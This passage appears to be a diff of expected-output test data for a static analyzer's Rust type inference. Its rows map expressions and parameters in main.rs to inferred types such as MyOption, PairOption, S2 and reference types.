-| main.rs:905:51:905:52 | S2 | | main.rs:880:5:881:14 | S2 | -| main.rs:906:26:906:27 | p1 | | main.rs:858:5:864:5 | PairOption | -| main.rs:906:26:906:27 | p1 | Fst | main.rs:877:5:878:14 | S1 | -| main.rs:906:26:906:27 | p1 | Snd | main.rs:880:5:881:14 | S2 | -| main.rs:909:13:909:14 | p2 | | main.rs:858:5:864:5 | PairOption | -| main.rs:909:13:909:14 | p2 | Fst | main.rs:877:5:878:14 | S1 | -| main.rs:909:13:909:14 | p2 | Snd | main.rs:880:5:881:14 | S2 | -| main.rs:909:26:909:47 | ...::PairNone(...) | | main.rs:858:5:864:5 | PairOption | -| main.rs:909:26:909:47 | ...::PairNone(...) | Fst | main.rs:877:5:878:14 | S1 | -| main.rs:909:26:909:47 | ...::PairNone(...) | Snd | main.rs:880:5:881:14 | S2 | -| main.rs:910:26:910:27 | p2 | | main.rs:858:5:864:5 | PairOption | -| main.rs:910:26:910:27 | p2 | Fst | main.rs:877:5:878:14 | S1 | -| main.rs:910:26:910:27 | p2 | Snd | main.rs:880:5:881:14 | S2 | -| main.rs:913:13:913:14 | p3 | | main.rs:858:5:864:5 | PairOption | -| main.rs:913:13:913:14 | p3 | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:913:13:913:14 | p3 | Snd | main.rs:883:5:884:14 | S3 | -| main.rs:913:34:913:56 | ...::PairSnd(...) | | main.rs:858:5:864:5 | PairOption | -| main.rs:913:34:913:56 | ...::PairSnd(...) | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:913:34:913:56 | ...::PairSnd(...) | Snd | main.rs:883:5:884:14 | S3 | -| main.rs:913:54:913:55 | S3 | | main.rs:883:5:884:14 | S3 | -| main.rs:914:26:914:27 | p3 | | main.rs:858:5:864:5 | PairOption | -| main.rs:914:26:914:27 | p3 | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:914:26:914:27 | p3 | Snd | main.rs:883:5:884:14 | S3 | -| main.rs:917:13:917:14 | p3 | | main.rs:858:5:864:5 | PairOption | -| main.rs:917:13:917:14 | p3 | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:917:13:917:14 | p3 | Snd | main.rs:883:5:884:14 | S3 | -| main.rs:917:35:917:56 | ...::PairNone(...) | | main.rs:858:5:864:5 | PairOption | -| main.rs:917:35:917:56 | ...::PairNone(...) | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:917:35:917:56 | ...::PairNone(...) | Snd | main.rs:883:5:884:14 | S3 | -| main.rs:918:26:918:27 | p3 | | main.rs:858:5:864:5 | PairOption | -| main.rs:918:26:918:27 | p3 | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:918:26:918:27 | p3 | Snd | main.rs:883:5:884:14 | S3 | -| main.rs:920:11:920:54 | ...::PairSnd(...) | | main.rs:858:5:864:5 | PairOption | -| main.rs:920:11:920:54 | ...::PairSnd(...) | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:920:11:920:54 | ...::PairSnd(...) | Snd | main.rs:858:5:864:5 | PairOption | -| main.rs:920:11:920:54 | ...::PairSnd(...) | Snd.Fst | main.rs:880:5:881:14 | S2 | -| main.rs:920:11:920:54 | ...::PairSnd(...) | Snd.Snd | main.rs:883:5:884:14 | S3 | -| main.rs:920:31:920:53 | ...::PairSnd(...) | | main.rs:858:5:864:5 | PairOption | -| main.rs:920:31:920:53 | ...::PairSnd(...) | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:920:31:920:53 | ...::PairSnd(...) | Snd | main.rs:883:5:884:14 | S3 | -| main.rs:920:51:920:52 | S3 | | main.rs:883:5:884:14 | S3 | -| main.rs:933:16:933:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:933:16:933:24 | SelfParam | &T | main.rs:931:5:938:5 | Self [trait MyTrait] | -| main.rs:933:27:933:31 | value | | main.rs:931:19:931:19 | S | -| main.rs:935:21:935:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:935:21:935:29 | SelfParam | &T | main.rs:931:5:938:5 | Self [trait MyTrait] | -| main.rs:935:32:935:36 | value | | main.rs:931:19:931:19 | S | -| main.rs:936:13:936:16 | self | | file://:0:0:0:0 | & | -| main.rs:936:13:936:16 | self | &T | main.rs:931:5:938:5 | Self [trait MyTrait] | -| main.rs:936:22:936:26 | value | | main.rs:931:19:931:19 | S | -| main.rs:942:16:942:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:942:16:942:24 | SelfParam | &T | main.rs:925:5:929:5 | MyOption | -| main.rs:942:16:942:24 | SelfParam | &T.T | main.rs:940:10:940:10 | T | -| main.rs:942:27:942:31 | value | | main.rs:940:10:940:10 | T | -| main.rs:946:26:948:9 | { ... } | | main.rs:925:5:929:5 | MyOption | -| main.rs:946:26:948:9 | { ... } | T | main.rs:945:10:945:10 | T | -| main.rs:947:13:947:30 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:947:13:947:30 | ...::MyNone(...) | T | main.rs:945:10:945:10 | T | -| main.rs:952:20:952:23 | SelfParam | | main.rs:925:5:929:5 | MyOption | -| main.rs:952:20:952:23 | SelfParam | T | main.rs:925:5:929:5 | MyOption | -| main.rs:952:20:952:23 | SelfParam | T.T | main.rs:951:10:951:10 | T | -| main.rs:952:41:957:9 | { ... } | | main.rs:925:5:929:5 | MyOption | -| main.rs:952:41:957:9 | { ... } | T | main.rs:951:10:951:10 | T | -| main.rs:953:13:956:13 | match self { ... } | | main.rs:925:5:929:5 | MyOption | -| main.rs:953:13:956:13 | match self { ... } | T | main.rs:951:10:951:10 | T | -| main.rs:953:19:953:22 | self | | main.rs:925:5:929:5 | MyOption | -| main.rs:953:19:953:22 | self | T | main.rs:925:5:929:5 | MyOption | -| main.rs:953:19:953:22 | self | T.T | main.rs:951:10:951:10 | T | -| main.rs:954:39:954:56 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:954:39:954:56 | ...::MyNone(...) | T | main.rs:951:10:951:10 | T | -| main.rs:955:34:955:34 | x | | main.rs:925:5:929:5 | MyOption | -| main.rs:955:34:955:34 | x | T | main.rs:951:10:951:10 | T | -| main.rs:955:40:955:40 | x | | main.rs:925:5:929:5 | MyOption | -| main.rs:955:40:955:40 | x | T | main.rs:951:10:951:10 | T | -| main.rs:964:13:964:14 | x1 | | main.rs:925:5:929:5 | MyOption | -| main.rs:964:18:964:37 | ...::new(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:965:26:965:27 | x1 | | main.rs:925:5:929:5 | MyOption | -| main.rs:967:13:967:18 | mut x2 | | main.rs:925:5:929:5 | MyOption | -| main.rs:967:13:967:18 | mut x2 | T | main.rs:960:5:961:13 | S | -| main.rs:967:22:967:36 | ...::new(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:967:22:967:36 | ...::new(...) | T | main.rs:960:5:961:13 | S | -| main.rs:968:9:968:10 | x2 | | main.rs:925:5:929:5 | MyOption | -| main.rs:968:9:968:10 | x2 | T | main.rs:960:5:961:13 | S | -| main.rs:968:16:968:16 | S | | main.rs:960:5:961:13 | S | -| main.rs:969:26:969:27 | x2 | | main.rs:925:5:929:5 | MyOption | -| main.rs:969:26:969:27 | x2 | T | main.rs:960:5:961:13 | S | -| main.rs:971:13:971:18 | mut x3 | | main.rs:925:5:929:5 | MyOption | -| main.rs:971:22:971:36 | ...::new(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:972:9:972:10 | x3 | | main.rs:925:5:929:5 | MyOption | -| main.rs:972:21:972:21 | S | | main.rs:960:5:961:13 | S | -| main.rs:973:26:973:27 | x3 | | main.rs:925:5:929:5 | MyOption | -| main.rs:975:13:975:18 | mut x4 | | main.rs:925:5:929:5 | MyOption | -| main.rs:975:13:975:18 | mut x4 | T | main.rs:960:5:961:13 | S | -| main.rs:975:22:975:36 | ...::new(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:975:22:975:36 | ...::new(...) | T | main.rs:960:5:961:13 | S | -| main.rs:976:23:976:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:976:23:976:29 | &mut x4 | &T | main.rs:925:5:929:5 | MyOption | -| main.rs:976:23:976:29 | &mut x4 | &T.T | main.rs:960:5:961:13 | S | -| main.rs:976:28:976:29 | x4 | | main.rs:925:5:929:5 | MyOption | -| main.rs:976:28:976:29 | x4 | T | main.rs:960:5:961:13 | S | -| main.rs:976:32:976:32 | S | | main.rs:960:5:961:13 | S | -| main.rs:977:26:977:27 | x4 | | main.rs:925:5:929:5 | MyOption | -| main.rs:977:26:977:27 | x4 | T | main.rs:960:5:961:13 | S | -| main.rs:979:13:979:14 | x5 | | main.rs:925:5:929:5 | MyOption | -| main.rs:979:13:979:14 | x5 | T | main.rs:925:5:929:5 | MyOption | -| main.rs:979:13:979:14 | x5 | T.T | main.rs:960:5:961:13 | S | -| main.rs:979:18:979:58 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:979:18:979:58 | ...::MySome(...) | T | main.rs:925:5:929:5 | MyOption | -| main.rs:979:18:979:58 | ...::MySome(...) | T.T | main.rs:960:5:961:13 | S | -| main.rs:979:35:979:57 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:979:35:979:57 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | -| main.rs:980:26:980:27 | x5 | | main.rs:925:5:929:5 | MyOption | -| main.rs:980:26:980:27 | x5 | T | main.rs:925:5:929:5 | MyOption | -| main.rs:980:26:980:27 | x5 | T.T | main.rs:960:5:961:13 | S | -| main.rs:980:26:980:37 | x5.flatten() | | main.rs:925:5:929:5 | MyOption | -| main.rs:980:26:980:37 | x5.flatten() | T | main.rs:960:5:961:13 | S | -| main.rs:982:13:982:14 | x6 | | main.rs:925:5:929:5 | MyOption | -| main.rs:982:13:982:14 | x6 | T | main.rs:925:5:929:5 | MyOption | -| main.rs:982:13:982:14 | x6 | T.T | main.rs:960:5:961:13 | S | -| main.rs:982:18:982:58 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:982:18:982:58 | ...::MySome(...) | T | main.rs:925:5:929:5 | MyOption | -| main.rs:982:18:982:58 | ...::MySome(...) | T.T | main.rs:960:5:961:13 | S | -| main.rs:982:35:982:57 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:982:35:982:57 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | -| main.rs:983:26:983:61 | ...::flatten(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:983:26:983:61 | ...::flatten(...) | T | main.rs:960:5:961:13 | S | -| main.rs:983:59:983:60 | x6 | | main.rs:925:5:929:5 | MyOption | -| main.rs:983:59:983:60 | x6 | T | main.rs:925:5:929:5 | MyOption | -| main.rs:983:59:983:60 | x6 | T.T | main.rs:960:5:961:13 | S | -| main.rs:985:13:985:19 | from_if | | main.rs:925:5:929:5 | MyOption | -| main.rs:985:13:985:19 | from_if | T | main.rs:960:5:961:13 | S | -| main.rs:985:23:989:9 | if ... {...} else {...} | | main.rs:925:5:929:5 | MyOption | -| main.rs:985:23:989:9 | if ... {...} else {...} | T | main.rs:960:5:961:13 | S | -| main.rs:985:36:987:9 | { ... } | | main.rs:925:5:929:5 | MyOption | -| main.rs:985:36:987:9 | { ... } | T | main.rs:960:5:961:13 | S | -| main.rs:986:13:986:30 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:986:13:986:30 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | -| main.rs:987:16:989:9 | { ... } | | main.rs:925:5:929:5 | MyOption | -| main.rs:987:16:989:9 | { ... } | T | main.rs:960:5:961:13 | S | -| main.rs:988:13:988:31 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:988:13:988:31 | ...::MySome(...) | T | main.rs:960:5:961:13 | S | -| main.rs:988:30:988:30 | S | | main.rs:960:5:961:13 | S | -| main.rs:990:26:990:32 | from_if | | main.rs:925:5:929:5 | MyOption | -| main.rs:990:26:990:32 | from_if | T | main.rs:960:5:961:13 | S | -| main.rs:992:13:992:22 | from_match | | main.rs:925:5:929:5 | MyOption | -| main.rs:992:13:992:22 | from_match | T | main.rs:960:5:961:13 | S | -| main.rs:992:26:995:9 | match ... { ... } | | main.rs:925:5:929:5 | MyOption | -| main.rs:992:26:995:9 | match ... { ... } | T | main.rs:960:5:961:13 | S | -| main.rs:993:21:993:38 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:993:21:993:38 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | -| main.rs:994:22:994:40 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:994:22:994:40 | ...::MySome(...) | T | main.rs:960:5:961:13 | S | -| main.rs:994:39:994:39 | S | | main.rs:960:5:961:13 | S | -| main.rs:996:26:996:35 | from_match | | main.rs:925:5:929:5 | MyOption | -| main.rs:996:26:996:35 | from_match | T | main.rs:960:5:961:13 | S | -| main.rs:998:13:998:21 | from_loop | | main.rs:925:5:929:5 | MyOption | -| main.rs:998:13:998:21 | from_loop | T | main.rs:960:5:961:13 | S | -| main.rs:998:25:1003:9 | loop { ... } | | main.rs:925:5:929:5 | MyOption | -| main.rs:998:25:1003:9 | loop { ... } | T | main.rs:960:5:961:13 | S | -| main.rs:1000:23:1000:40 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:1000:23:1000:40 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | -| main.rs:1002:19:1002:37 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | -| main.rs:1002:19:1002:37 | ...::MySome(...) | T | main.rs:960:5:961:13 | S | -| main.rs:1002:36:1002:36 | S | | main.rs:960:5:961:13 | S | -| main.rs:1004:26:1004:34 | from_loop | | main.rs:925:5:929:5 | MyOption | -| main.rs:1004:26:1004:34 | from_loop | T | main.rs:960:5:961:13 | S | -| main.rs:1017:15:1017:18 | SelfParam | | main.rs:1010:5:1011:19 | S | -| main.rs:1017:15:1017:18 | SelfParam | T | main.rs:1016:10:1016:10 | T | -| main.rs:1017:26:1019:9 | { ... } | | main.rs:1016:10:1016:10 | T | -| main.rs:1018:13:1018:16 | self | | main.rs:1010:5:1011:19 | S | -| main.rs:1018:13:1018:16 | self | T | main.rs:1016:10:1016:10 | T | -| main.rs:1018:13:1018:18 | self.0 | | main.rs:1016:10:1016:10 | T | -| main.rs:1021:15:1021:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1021:15:1021:19 | SelfParam | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1021:15:1021:19 | SelfParam | &T.T | main.rs:1016:10:1016:10 | T | -| main.rs:1021:28:1023:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1021:28:1023:9 | { ... } | &T | main.rs:1016:10:1016:10 | T | -| main.rs:1022:13:1022:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1022:13:1022:19 | &... | &T | main.rs:1016:10:1016:10 | T | -| main.rs:1022:14:1022:17 | self | | file://:0:0:0:0 | & | -| main.rs:1022:14:1022:17 | self | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1022:14:1022:17 | self | &T.T | main.rs:1016:10:1016:10 | T | -| main.rs:1022:14:1022:19 | self.0 | | main.rs:1016:10:1016:10 | T | -| main.rs:1025:15:1025:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1025:15:1025:25 | SelfParam | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1025:15:1025:25 | SelfParam | &T.T | main.rs:1016:10:1016:10 | T | -| main.rs:1025:34:1027:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1025:34:1027:9 | { ... } | &T | main.rs:1016:10:1016:10 | T | -| main.rs:1026:13:1026:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1026:13:1026:19 | &... | &T | main.rs:1016:10:1016:10 | T | -| main.rs:1026:14:1026:17 | self | | file://:0:0:0:0 | & | -| main.rs:1026:14:1026:17 | self | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1026:14:1026:17 | self | &T.T | main.rs:1016:10:1016:10 | T | -| main.rs:1026:14:1026:19 | self.0 | | main.rs:1016:10:1016:10 | T | -| main.rs:1031:13:1031:14 | x1 | | main.rs:1010:5:1011:19 | S | -| main.rs:1031:13:1031:14 | x1 | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1031:18:1031:22 | S(...) | | main.rs:1010:5:1011:19 | S | -| main.rs:1031:18:1031:22 | S(...) | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1031:20:1031:21 | S2 | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1032:26:1032:27 | x1 | | main.rs:1010:5:1011:19 | S | -| main.rs:1032:26:1032:27 | x1 | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1032:26:1032:32 | x1.m1() | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1034:13:1034:14 | x2 | | main.rs:1010:5:1011:19 | S | -| main.rs:1034:13:1034:14 | x2 | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1034:18:1034:22 | S(...) | | main.rs:1010:5:1011:19 | S | -| main.rs:1034:18:1034:22 | S(...) | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1034:20:1034:21 | S2 | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1036:26:1036:27 | x2 | | main.rs:1010:5:1011:19 | S | -| main.rs:1036:26:1036:27 | x2 | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1036:26:1036:32 | x2.m2() | | file://:0:0:0:0 | & | -| main.rs:1036:26:1036:32 | x2.m2() | &T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1037:26:1037:27 | x2 | | main.rs:1010:5:1011:19 | S | -| main.rs:1037:26:1037:27 | x2 | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1037:26:1037:32 | x2.m3() | | file://:0:0:0:0 | & | -| main.rs:1037:26:1037:32 | x2.m3() | &T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1039:13:1039:14 | x3 | | main.rs:1010:5:1011:19 | S | -| main.rs:1039:13:1039:14 | x3 | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1039:18:1039:22 | S(...) | | main.rs:1010:5:1011:19 | S | -| main.rs:1039:18:1039:22 | S(...) | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1039:20:1039:21 | S2 | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1041:26:1041:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:1041:26:1041:41 | ...::m2(...) | &T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1041:38:1041:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:1041:38:1041:40 | &x3 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1041:38:1041:40 | &x3 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1041:39:1041:40 | x3 | | main.rs:1010:5:1011:19 | S | -| main.rs:1041:39:1041:40 | x3 | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1042:26:1042:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:1042:26:1042:41 | ...::m3(...) | &T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1042:38:1042:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:1042:38:1042:40 | &x3 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1042:38:1042:40 | &x3 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1042:39:1042:40 | x3 | | main.rs:1010:5:1011:19 | S | -| main.rs:1042:39:1042:40 | x3 | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1044:13:1044:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:1044:13:1044:14 | x4 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1044:13:1044:14 | x4 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1044:18:1044:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1044:18:1044:23 | &... | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1044:18:1044:23 | &... | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1044:19:1044:23 | S(...) | | main.rs:1010:5:1011:19 | S | -| main.rs:1044:19:1044:23 | S(...) | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1044:21:1044:22 | S2 | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1046:26:1046:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:1046:26:1046:27 | x4 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1046:26:1046:27 | x4 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1046:26:1046:32 | x4.m2() | | file://:0:0:0:0 | & | -| main.rs:1046:26:1046:32 | x4.m2() | &T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1047:26:1047:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:1047:26:1047:27 | x4 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1047:26:1047:27 | x4 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1047:26:1047:32 | x4.m3() | | file://:0:0:0:0 | & | -| main.rs:1047:26:1047:32 | x4.m3() | &T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1049:13:1049:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:1049:13:1049:14 | x5 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1049:13:1049:14 | x5 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1049:18:1049:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1049:18:1049:23 | &... | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1049:18:1049:23 | &... | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1049:19:1049:23 | S(...) | | main.rs:1010:5:1011:19 | S | -| main.rs:1049:19:1049:23 | S(...) | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1049:21:1049:22 | S2 | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1051:26:1051:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:1051:26:1051:27 | x5 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1051:26:1051:27 | x5 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1051:26:1051:32 | x5.m1() | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1052:26:1052:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:1052:26:1052:27 | x5 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1052:26:1052:27 | x5 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1052:26:1052:29 | x5.0 | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1054:13:1054:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:1054:13:1054:14 | x6 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1054:13:1054:14 | x6 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1054:18:1054:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1054:18:1054:23 | &... | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1054:18:1054:23 | &... | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1054:19:1054:23 | S(...) | | main.rs:1010:5:1011:19 | S | -| main.rs:1054:19:1054:23 | S(...) | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1054:21:1054:22 | S2 | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1056:26:1056:30 | (...) | | main.rs:1010:5:1011:19 | S | -| main.rs:1056:26:1056:30 | (...) | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1056:26:1056:35 | ... .m1() | | main.rs:1013:5:1014:14 | S2 | -| main.rs:1056:27:1056:29 | * ... | | main.rs:1010:5:1011:19 | S | -| main.rs:1056:27:1056:29 | * ... | T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1056:28:1056:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:1056:28:1056:29 | x6 | &T | main.rs:1010:5:1011:19 | S | -| main.rs:1056:28:1056:29 | x6 | &T.T | main.rs:1013:5:1014:14 | S2 | -| main.rs:1063:16:1063:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1063:16:1063:20 | SelfParam | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | -| main.rs:1066:16:1066:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1066:16:1066:20 | SelfParam | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | -| main.rs:1066:32:1068:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1066:32:1068:9 | { ... } | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | -| main.rs:1067:13:1067:16 | self | | file://:0:0:0:0 | & | -| main.rs:1067:13:1067:16 | self | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | -| main.rs:1067:13:1067:22 | self.foo() | | file://:0:0:0:0 | & | -| main.rs:1067:13:1067:22 | self.foo() | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | -| main.rs:1075:16:1075:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1075:16:1075:20 | SelfParam | &T | main.rs:1071:5:1071:20 | MyStruct | -| main.rs:1075:36:1077:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1075:36:1077:9 | { ... } | &T | main.rs:1071:5:1071:20 | MyStruct | -| main.rs:1076:13:1076:16 | self | | file://:0:0:0:0 | & | -| main.rs:1076:13:1076:16 | self | &T | main.rs:1071:5:1071:20 | MyStruct | -| main.rs:1081:13:1081:13 | x | | main.rs:1071:5:1071:20 | MyStruct | -| main.rs:1081:17:1081:24 | MyStruct | | main.rs:1071:5:1071:20 | MyStruct | -| main.rs:1082:9:1082:9 | x | | main.rs:1071:5:1071:20 | MyStruct | -| main.rs:1082:9:1082:15 | x.bar() | | file://:0:0:0:0 | & | -| main.rs:1082:9:1082:15 | x.bar() | &T | main.rs:1071:5:1071:20 | MyStruct | -| main.rs:1092:16:1092:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1092:16:1092:20 | SelfParam | &T | main.rs:1089:5:1089:26 | MyStruct | -| main.rs:1092:16:1092:20 | SelfParam | &T.T | main.rs:1091:10:1091:10 | T | -| main.rs:1092:32:1094:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1092:32:1094:9 | { ... } | &T | main.rs:1089:5:1089:26 | MyStruct | -| main.rs:1092:32:1094:9 | { ... } | &T.T | main.rs:1091:10:1091:10 | T | -| main.rs:1093:13:1093:16 | self | | file://:0:0:0:0 | & | -| main.rs:1093:13:1093:16 | self | &T | main.rs:1089:5:1089:26 | MyStruct | -| main.rs:1093:13:1093:16 | self | &T.T | main.rs:1091:10:1091:10 | T | -| main.rs:1098:13:1098:13 | x | | main.rs:1089:5:1089:26 | MyStruct | -| main.rs:1098:13:1098:13 | x | T | main.rs:1087:5:1087:13 | S | -| main.rs:1098:17:1098:27 | MyStruct(...) | | main.rs:1089:5:1089:26 | MyStruct | -| main.rs:1098:17:1098:27 | MyStruct(...) | T | main.rs:1087:5:1087:13 | S | -| main.rs:1098:26:1098:26 | S | | main.rs:1087:5:1087:13 | S | -| main.rs:1099:9:1099:9 | x | | main.rs:1089:5:1089:26 | MyStruct | -| main.rs:1099:9:1099:9 | x | T | main.rs:1087:5:1087:13 | S | -| main.rs:1099:9:1099:15 | x.foo() | | file://:0:0:0:0 | & | -| main.rs:1099:9:1099:15 | x.foo() | &T | main.rs:1089:5:1089:26 | MyStruct | -| main.rs:1099:9:1099:15 | x.foo() | &T.T | main.rs:1087:5:1087:13 | S | -| main.rs:1107:15:1107:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1107:15:1107:19 | SelfParam | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1107:31:1109:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1107:31:1109:9 | { ... } | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1108:13:1108:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1108:13:1108:19 | &... | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1108:14:1108:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1108:14:1108:19 | &... | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1108:15:1108:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1108:15:1108:19 | &self | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1108:16:1108:19 | self | | file://:0:0:0:0 | & | -| main.rs:1108:16:1108:19 | self | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1111:15:1111:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1111:15:1111:25 | SelfParam | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1111:37:1113:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1111:37:1113:9 | { ... } | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1112:13:1112:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1112:13:1112:19 | &... | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1112:14:1112:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1112:14:1112:19 | &... | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1112:15:1112:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1112:15:1112:19 | &self | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1112:16:1112:19 | self | | file://:0:0:0:0 | & | -| main.rs:1112:16:1112:19 | self | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1115:15:1115:15 | x | | file://:0:0:0:0 | & | -| main.rs:1115:15:1115:15 | x | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1115:34:1117:9 | { ... } | | file://:0:0:0:0 | & | 